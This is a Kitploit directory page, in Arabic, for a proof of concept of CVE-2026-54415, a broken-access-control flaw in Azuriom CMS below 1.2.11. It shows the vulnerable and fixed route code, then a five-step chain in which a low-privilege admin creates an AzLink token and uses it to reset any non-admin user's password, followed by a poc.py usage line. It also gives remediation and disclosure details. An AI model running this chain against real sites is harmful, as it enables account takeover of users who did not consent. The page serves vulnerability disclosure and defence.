Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-54415-PoC — PoC لـ CVE-2026-54415 — Azuriom CMS (<1.2.11) ثغرة التحكم في الوصول المعطل → السيطرة على الحساب | Kitploit
أدوات/GitHubGitHub/abdugafforov-bobur/cve-2026-54415-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالمصادقةالتعلم والتعليم
GitHubabdugafforov-bobur/cve-2026-54415-poc

CVE-2026-54415-PoC

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PoC لـ CVE-2026-54415 — Azuriom CMS (<1.2.11) ثغرة التحكم في الوصول المعطل → السيطرة على الحساب

عرض المستودع
2منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-54415 — التحكم في الوصول المعطل في Azuriom CMS → الاستيلاء على الحساب

غياب التفويض في مسارات إدارة الخوادم الإدارية في Azuriom CMS < 1.2.11 يسمح لأي مشرف ذو صلاحية منخفضة (يمتلك فقط admin.access) بإنشاء رمز خادم AzLink والاستيلاء على أي حساب غير إداري.

CVECVE-2026-54415
المنتجAzuriom CMS
المتأثر< 1.2.11
تم الإصلاح في1.2.11 — commit 4b744bc
CWECWE-862 (غياب التفويض), CWE-269 (إدارة امتيازات غير صحيحة)
CVSS 3.18.1 عالية — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CVSS 4.08.6 عالية — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

تم نشر هذا الإثبات المفاهيمي لأغراض دفاعية وتعليمية ضد إصدار مصلح. قم بتشغيله فقط على أنظمة تمتلكها أو مصرح لك باختبارها بشكل صريح. قم بالترقية إلى Azuriom 1.2.11+.

✅ تم التحقق منه بشكل شامل على مثيل محلي من Azuriom 1.2.10 — تجاوز التحكم في الوصول، إنشاء الرمز المميز، تأكيد تغيير كلمة المرور + تسجيل دخول الضحية، وحدود حماية المسؤول.


السبب الجذري

في routes/admin.php يتم حماية لوحة التحكم الإدارية بأكملها بواسطة مجموعة can:admin.access واحدة، ومن المتوقع أن تضيف كل ميزة حساسة وسيط can:admin.* الخاص بها الدقيق. قبل الإصدار 1.2.11، تم شحن مسارات إدارة الخوادم بدون أي وسيط من هذا القبيل:

root@kitploit:~
// routes/admin.php (vulnerable, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');

وبالتالي، يمكن لأي مستخدم يمكنه الوصول إلى لوحة التحكم الإدارية (admin.access) إنشاء خوادم. لم يكن هناك صلاحية admin.servers على الإطلاق — لم تكن موجودة حتى الإصلاح.

الإصلاح (1.2.11)

قام المطور بإنشاء صلاحية جديدة admin.servers ولف المسارات بها:

root@kitploit:~
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
    Route::resource('servers', ServerController::class)->except('show');
    Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
    Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});

كما أضاف نفس الالتزام فحوصات الصلاحية المفقودة سابقًا إلى مسارات social-links و pages/posts.attachments.


لماذا إنشاء خادم = الاستيلاء على الحساب

إنشاء خادم يولد رمز خادم مكون من 32 حرفًا (app/Http/Controllers/Admin/ServerController.php):

root@kitploit:~
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);

يقوم هذا الرمز بتوثيق واجهة AzLink API (routes/api.php)، حيث يثق وسيط VerifyServerToken في أي طلب يحمل رأس Azuriom-Link-Token صالحًا. تكشف AzLink عن نقاط نهاية لإدارة الحساب:

root@kitploit:~
POST /api/azlink/password   → تغيير كلمة مرور المستخدم بواسطة معرف اللعبة (game_id)
POST /api/azlink/email      → تغيير البريد الإلكتروني للمستخدم بواسطة معرف اللعبة
POST /api/azlink/register   → إنشاء مستخدمين
POST /api/azlink/user/{id}/money/{add,remove,set}

updatePassword يرفض فقط عندما يكون الهدف isAdmin() — كل حساب غير إداري يمكن الاستيلاء عليه:

root@kitploit:~
public function updatePassword(Request $request) {
    // validates game_id + password
    $user = User::where('game_id', $request->input('game_id'))->firstOrFail();
    if ($user->isAdmin()) { return response()->noContent(); }   // only admins are protected
    $user->update(['password' => $request->input('password')]);
    ...
}

الرمز لا يتطلب خادم لعبة يمكن الوصول إليه

استدعاء إنشاء الخادم يستدعي $server->bridge()->verifyLink() قبل الحفظ. بالنسبة لنوع mc-azlink يكون هذا صحيحًا دون قيد أو شرط:

root@kitploit:~
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }

لذا يقدم المهاجم أي عنوان address وهمي، ويتم حفظ الخادم على أي حال، ويتم عرض الرمز الجديد في اللوحة داخل أمر إعداد AzLink (/azlink setup <url> <token>).


سلسلة الاستغلال

root@kitploit:~
1. قم بالمصادقة كمشرف ذو صلاحية منخفضة (فقط admin.access — بدون admin.servers، الذي لم يكن موجودًا)
2. POST /admin/servers   name=x&type=mc-azlink&address=127.0.0.1   → تم حفظ الخادم، تم إنشاء الرمز المميز
3. GET  /admin/servers/{id}/edit                                   → قراءة الرمز المميز من أمر الإعداد
4. POST /api/azlink/password   (رأس Azuriom-Link-Token: <token>)  game_id=<ضحية>&password=<جديد>
5. تسجيل الدخول كالضحية                                            → استيلاء كامل على الحساب

الاستخدام

root@kitploit:~
python3 poc.py \
  --url https://target.example \
  --admin-user lowpriv_admin --admin-pass 'password' \
  --victim-game-id 1001 \
  --new-password 'Pwn3d!TakenOver'

يقوم البرنامج النصي بتسجيل الدخول، وإنشاء رمز خادم، واستخراجه، وإعادة تعيين كلمة مرور الضحية عبر AzLink، وطباعة الرمز المميز + النتيجة. راجع poc.py --help لجميع الخيارات. يتطلب requests (pip install requests).


الإصلاح

  • قم بالترقية إلى Azuriom 1.2.11 أو أحدث.
  • قم بتدقيق admin_servers وإلغاء أي رموز خادم غير متوقعة.
  • طبق مبدأ الامتياز الأقل: قم بتدقيق الأدوار التي تحمل admin.access.

الإفصاح

  • الباحث / المبلغ: Bobur Abdugafforov (@abdugafforov-bobur)
  • تم التعيين بواسطة CNA: TuranSec
  • تم النشر: 2026-06-17
  • تم الإصلاح بواسطة المطور في 1.2.11

المراجع

  • Fix commit: https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e
  • Release: https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54415

الترخيص

MIT — لاختبار الأمان المصرح به والبحث فقط.

تنزيل الأداة